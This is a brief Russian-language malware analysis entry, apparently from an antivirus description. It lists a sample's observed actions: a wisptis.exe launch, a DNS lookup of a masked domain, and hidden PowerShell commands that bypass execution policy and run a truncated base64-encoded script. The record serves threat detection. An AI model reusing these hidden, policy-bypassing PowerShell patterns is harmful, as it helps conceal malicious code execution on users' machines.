Техническая информация
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- DNS ASK se##recc.ru
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -win hidden -noni -e IwAjACMAdAB2AG0AbQBiAHQAZABhAGwAeABuAAoAJABjAGwAdQBmAG0AbwAgAD0AIAAiAGUAdwBmAG8AcwBrAHkAeABwAG4AaQB4AGwAZwAiADsACgAkAHEAcABnAGcAZwA9ACIAbABzAGYAcAB1AHcAIg...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -win hidden -noni -e IwAjACMAdAB2AG0AbQBiAHQAZABhAGwAeABuAAoAJABjAGwAdQBmAG0AbwAgAD0AIAAiAGUAdwBmAG8AcwBrAHkAeABwAG4AaQB4AGwAZwAiADsACgAkAHEAcABnAGcAZwA9ACIAbABzAGYAcAB1AHcAIg...